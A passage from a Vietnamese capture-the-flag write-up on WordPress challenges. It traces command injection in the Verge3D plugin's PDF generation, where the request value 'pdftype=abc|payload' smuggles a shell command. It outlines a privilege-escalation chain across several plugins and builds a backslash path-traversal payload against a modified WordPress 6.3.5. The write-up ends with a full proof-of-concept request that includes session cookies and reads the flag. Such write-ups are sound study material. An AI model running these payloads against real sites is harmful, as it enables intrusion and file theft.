v3d_terminal($chrome_path.' --headless --disable-gpu --print-to-pdf='.$pdf.' '.$pdf_html);
if (is_file($pdf))
$attachments[] = $pdf;
}
@unlink($pdf_html);
}
}
return $attachments;
}
$pdf = v3d_get_attachments_tmp_dir($attachments).$pdftype.'.pdf';
Biến $pdf
được tạo ra bởi việc nối chuỗi $pdftype
mà $pdftype
lại lấy từ mảng $gen_pdftypes
truyền vào hàm v3d_gen_email_attachments
, trace ngược xem hàm nào gọi đến v3d_gen_email_attachments
function v3d_order_menu()
{
if (!current_user_can('manage_verge3d')) {
echo 'Access denied';
return;
}
$screen_id = get_current_screen()->id;
add_filter('admin_footer_text', 'v3d_replace_footer');
$action = (!empty($_REQUEST['action'])) ? sanitize_text_field($_REQUEST['action']) : '';
switch ($action) {
.....cut-here......
case 'genpdf':
if (!empty($_REQUEST['order'])) {
ob_end_clean();
$order_id = intval($_REQUEST['order']);
$order = v3d_get_order_by_id($order_id);
$pdftype = esc_attr($_REQUEST['pdftype']);
$attachments = v3d_gen_email_attachments($order, $order_id, false, [$pdftype]);
header('Content-Description: File Transfer');
header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename="'.$pdftype.'.pdf"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($attachments[0]));
readfile($attachments[0]);
v3d_cleanup_email_attachments($attachments);
}
.......cut-here.......
}
Tại đây, nếu action=genpdf
và $pdftype=esc_attr($_REQUEST['pdftype'])
, chúng ta hoàn toàn có thể RCE, Tuy nhiên user thực hiện request đến đây phải có quyền manage_verge3d
tức là user phải có role là administrator, editor hoặc author.
Request RCE có dạng
POST /wp-admin/admin.php?page=verge3d_order&action=genpdf HTTP/1.1 Host: localhost:9099 page=verge3d_order&action=genpdf&order=10&pdftype=abc|payload
RCE chain
Tổng hợp lại chúng ta có thể hiểu flow tấn công như sau
- Unauthorized User Registration in MStore API đăng kí 1 tài khoản với quyền subscriber
- Privilege escalation in build-app-online leo quyền từ subscriber lên role contributor
- Privilege escalation in essential-addons-for-elementor-lite plugin leo quyền từ contributor lên role author
- Sử dụng tài khoản với role author thực hiện RCE thông qua lỗ hổng trong verge3d
Resistance
Source code của bài không có gì nhiều ngoài 1 plugin custom gọi là test-plugin với mục đích cho người chơi đăng kí tài khoản bất kì với role contributor ( $(WP_CLI) option update default_role contributor).
Xem kĩ hơn trong Makefile chúng ta thấy rằng server tự động cài đặt và active 2 plugin khác là contact form 7
và seo by rank math
. Ngoài ra source code của bài chứa source code của wordspress luôn. Thông thường thì những bài trước chúng ta không có thư mục này. Điều này làm tôi suy nghĩ đến việc, liệu rằng hướng đi trong bài này liên quan đến wordpress core hay không. Để xác minh suy nghĩ của mình, tôi thực hiện setup và run docker lên để biết version của wordpress trong bài sau đó tiến hành diff code.
Đầu tiên chúng ta cần tạo 1 user thông qua ajax wp_ajax_nopriv_register_user
sau đó đăng nhập vào hệ thống.
sau khi đăng nhập vào hệ thống tôi biết được version hiện tại của wordpress trong bài là 6.3.5 Download source code của wordpress 6.3.5 về tiến hành diff code.
Có thể thấy phiên bản wordpress trong bài đã xóa đi đoạn code normalize path khi validate file. chắc chắn có gì đó mờ ám ở đây. Sau khi search 1 vòng với từ khóa wordpress 6.3.5 vulnerabilities
tôi tìm được link sau WordPress 6.3.x < 6.3.5 Multiple Vulnerabilities | Tenable®
Trong đó có 1 lỗ hổng mà tôi chú ý đến là A path traversal issue affecting sites hosted on Windows.
. Tuy nhiên nó lại ảnh hưởng đến các phiên bản wordpress từ 6.3.x < 6.3.5 mà thôi. xem qua thông tin của lỗ hổng này tại bài viết WordPress 6.5.5 Security Update - Technical Advisory - Patchstack
. Thật ngạc nhiên khi đoạn fix lỗ hổng này chính là đoạn mà wordpress trong bài đã xóa đi so với phiên bản 6.3.5 trong thực tế mà tôi vừa diff code ở hình ảnh phía trên. Đến đây thì về cơ bản tôi đã xác định được lỗ hổng cần khai thác trong bài này chính là lỗ hổng này. Và cũng trong chính bài viết trên tôi thấy rằng để khai thác được lỗ hổng này chúng ta cần tạo 1 block với dạng wp:template-part . Và thực tế thì request sẽ có dạng như sau:
Xem qua đoạn code xử lý của render_block_core_template_part
function render_block_core_template_part( $attributes ) {
static $seen_ids = array();
$template_part_id = null;
$content = null;
$area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
if (
isset( $attributes['slug'] ) &&
isset( $attributes['theme'] ) &&
get_stylesheet() === $attributes['theme']
) {
$template_part_id = $attributes['theme'] . '//' . $attributes['slug'];
$template_part_query = new WP_Query(......cut-here.......);
$template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null;
if ( $template_part_post ) {
.......cut......
} else {
$template_part_file_path = '';
if ( 0 === validate_file( $attributes['slug'] ) ) {
// Normalize path for Windows servers
$attributes['slug']= wp_normalize_path( $attributes['slug'] );
$block_template_file = _get_block_template_file( 'wp_template_part', $attributes['slug'] );
if ( $block_template_file ) {
$template_part_file_path = $block_template_file['path'];
$content = (string) file_get_contents( $template_part_file_path );
$content = '' !== $content ? _inject_theme_attribute_in_block_template_content( $content ) : '';
if ( isset( $block_template_file['area'] ) ) {
$area = $block_template_file['area'];
}
}
}
.............Cut..................
}
Vậy về cơ bản để có thể path traversal đọc file tùy ý thông qua file_get_contents
thì chúng ta cần pass qua đoạn if đầu tiên đã. Tức là param chúng ta gửi lên phải bao gồm cả slug và theme, ngoài ra biến $attributes['theme']==get_stylesheet()
. 1 lệnh var_dump() đơn giản cho chúng ta biết những theme hợp lệ.
Vậy theme sẽ là twentytwentyfour
. Sửa lại request của chúng ta sau đó quan sát xem $attributes['slug']
của chúng ta đã đến đâu trong đoạn code trên
Slug của chúng ta đã đến đoạn check validate_file
.
function validate_file( $file, $allowed_files = array() ) {
if ( ! is_scalar( $file ) || '' === $file ) {
return 0;
}
// `../` on its own is not allowed:
if ( '../' === $file ) {
return 1;
}
// More than one occurrence of `../` is not allowed:
if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
return 1;
}
// `../` which does not occur at the end of the path is not allowed:
if ( str_contains( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
return 1;
}
// Files not in the allowed file list are not allowed:
if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) {
return 3;
}
// Absolute Windows drive paths are not allowed:
if ( ':' === substr( $file, 1, 1 ) ) {
return 2;
}
return 0;
}
Qua bài viết của PatchStack, chúng ta biết rằng lỗ hổng path traversal diễn ra tại đây. Nếu muốn đọc được flag.html ở root thì chúng ta cần phải biết được đường dẫn hiện tại là gì. Ngoài ra slug không được chứa các kí tự ../
.
if ( $block_template_file ) {
$template_part_file_path = $block_template_file['path'];
echo $template_part_file_path;
$content = (string) file_get_contents( $template_part_file_path );
$content = '' !== $content ? _inject_theme_attribute_in_block_template_content( $content ) : '';
if ( isset( $block_template_file['area'] ) ) {
$area = $block_template_file['area'];
}
}
Vậy đường dẫn hiện tại có dạng /var/www/html/wp-content/themes/twentytwentyfour/parts/<your-slug>.html
. Vậy để đọc được flag.html ở thư mục root thì slug của chúng ta sẽ phải có dạng ../../../../../../../flag
. Tuy nhiên slug của chúng ta đã đi qua hàm wp_normalize_path
. Vậy xem hàm này làm gì nhé.
function wp_normalize_path( $path ) {
$wrapper = '';
if ( wp_is_stream( $path ) ) {
list( $wrapper, $path ) = explode( '://', $path, 2 );
$wrapper .= '://';
}
// Standardize all paths to use '/'.
$path = str_replace( '\\', '/', $path );
// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
$path = preg_replace( '|(?<=.)/+|', '/', $path );
// Windows paths should uppercase the drive letter.
if ( ':' === substr( $path, 1, 1 ) ) {
$path = ucfirst( $path );
}
return $wrapper . $path;
}
Rất đơn giản, nó sẽ thay thế \\
trong slug thành /
. Vậy để thỏa mãn các điều kiện từ trên xuống đến đây, thì slug của chúng ta sẽ là ..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\flag
.
poc
POST /wp-json/wp/v2/posts/137?_locale=user HTTP/1.1
Host: 100.25.255.51:9089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, */*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://100.25.255.51:9089/wp-admin/post.php?post=137&action=edit
X-WP-Nonce: d0b145a89b
X-HTTP-Method-Override: PUT
Content-Type: application/json
Content-Length: 81
Origin: http://100.25.255.51:9089
Connection: keep-alive
Cookie: PHPSESSID=9523d1ef59bc5dac1dfb954b994ffdbd; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_ecba2824d7e5519070149e59e3419978=test%7C1726808185%7CKzvPNr3zSrAP7VKzGTpYkvSQas4Bkwn6Ltw1Z5JT7Du%7C72334b8f14c139eeb6d1cd8537f2b650dd84fab22fa5971fff23ec0fa7956a84; wp-settings-time-7=1726635386; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-09-18%2016%3A14%3A14%7C%7C%7Cep%3Dhttp%3A%2F%2F100.25.255.51%3A9096%2F%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-09-18%2016%3A14%3A14%7C%7C%7Cep%3Dhttp%3A%2F%2F100.25.255.51%3A9096%2F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D5%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A130.0%29%20Gecko%2F20100101%20Firefox%2F130.0; tinv_wishlistkey=95910d; woocommerce_items_in_cart=1; woocommerce_cart_hash=b1a0b9ed8e2c68d432b85864834fe820; wordpress_logged_in_04f34e78ffa447e73d6a0e5c92992436=hihi%7C1727187243%7CrDwrqJMTclTkn7O7exI09Cd1LylvWzNaXCrYIQ0pw0N%7C136ab625f2a3d086045cb83117e82cb117362e126dcafa837396ef21582ed33e; wp-settings-time-36=1726813232; wp_lang=en_US
Priority: u=0
{"id":137,"content":"<!-- wp:template-part {\"slug\":\"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\flag\",\"theme\":\"twentytwentyfour\"} /-->"}
Flag: CTF{resistance_is_the_key_isnt_it_4827bd29312}
All rights reserved